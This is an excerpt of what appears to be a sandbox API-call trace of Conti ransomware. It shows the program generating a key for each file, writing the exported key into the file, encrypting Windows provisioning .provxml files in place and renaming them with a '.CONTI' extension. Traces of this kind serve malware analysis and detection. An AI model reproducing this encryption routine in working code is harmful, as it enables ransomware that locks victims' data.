	[0110.030] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=732) returned 1
	[0110.030] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc
	[0110.030] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.030] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.038] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.038] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.038] WriteFile (in: hFile=0x3d8, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.040] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.040] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2dc, lpOverlapped=0x0) returned 1
	[0110.040] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2dc, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2e0) returned 1
	[0110.040] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.041] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.041] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.041] WriteFile (in: hFile=0x3d8, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.041] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.041] CloseHandle (hObject=0x3d8) returned 1
	[0110.041] GetProcessHeap () returned 0x1720000
	[0110.041] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.041] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml"
	[0110.041] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.CONTI"
	[0110.041] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml.conti")) returned 1
	[0110.042] GetProcessHeap () returned 0x1720000
	[0110.042] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.042] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0110.042] GetProcessHeap () returned 0x1720000
	[0110.042] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65882e8 | out: hHeap=0x1720000) returned 1
	[0110.042] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.042] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b76f80 | out: phKey=0x6b76f80*=0x6b7f3b8) returned 1
	[0110.042] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b76f84, pdwDataLen=0x573fb4c | out: pbData=0x6b76f84*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.043] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0110.043] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.043] GetLastError () returned 0x0
	[0110.043] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=733) returned 1
	[0110.043] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dd
	[0110.043] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.043] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.043] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.044] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.044] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b76f84*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b76f84*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.045] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.045] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2dd, lpOverlapped=0x0) returned 1
	[0110.045] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2dd, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2e0) returned 1
	[0110.045] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.045] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.046] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.046] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b76f78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b76f78*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.046] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.046] CloseHandle (hObject=0x3d8) returned 1
	[0110.046] GetProcessHeap () returned 0x1720000
	[0110.046] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.046] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml"
	[0110.046] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml.CONTI"
	[0110.046] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml.conti")) returned 1
	[0110.047] GetProcessHeap () returned 0x1720000
	[0110.047] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.047] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0110.047] GetProcessHeap () returned 0x1720000
	[0110.047] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b73a08 | out: hHeap=0x1720000) returned 1
	[0110.047] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.047] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b74d48 | out: phKey=0x6b74d48*=0x6b7f3b8) returned 1
	[0110.047] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b74d4c, pdwDataLen=0x573fb4c | out: pbData=0x6b74d4c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.047] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml")) returned 0x20
	[0110.048] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.048] GetLastError () returned 0x0
	[0110.048] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=720) returned 1
	[0110.048] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0110.048] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.048] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.048] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.048] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.048] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b74d4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b74d4c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.050] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.050] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.050] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2d0, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2e0) returned 1
	[0110.050] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.050] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.050] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.050] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b74d40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b74d40*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.050] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.050] CloseHandle (hObject=0x3d8) returned 1
	[0110.050] GetProcessHeap () returned 0x1720000
	[0110.051] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.051] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml"
	[0110.051] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml.CONTI"
	[0110.051] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml.conti")) returned 1
	[0110.051] GetProcessHeap () returned 0x1720000
	[0110.051] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.051] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0110.051] GetProcessHeap () returned 0x1720000
	[0110.051] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b738b0 | out: hHeap=0x1720000) returned 1
	[0110.051] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.051] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b75420 | out: phKey=0x6b75420*=0x6b7f3b8) returned 1
	[0110.051] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b75424, pdwDataLen=0x573fb4c | out: pbData=0x6b75424*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.052] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml")) returned 0x20
	[0110.052] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.053] GetLastError () returned 0x0
	[0110.053] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=730) returned 1
	[0110.053] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2da
	[0110.053] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.053] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.053] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.053] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.053] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b75424*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b75424*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.055] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.055] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2da, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2da, lpOverlapped=0x0) returned 1
	[0110.055] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2da, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2e0) returned 1
	[0110.055] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.055] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.055] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.055] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b75418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b75418*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.055] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.055] CloseHandle (hObject=0x3d8) returned 1
	[0110.055] GetProcessHeap () returned 0x1720000
	[0110.055] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.055] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml"
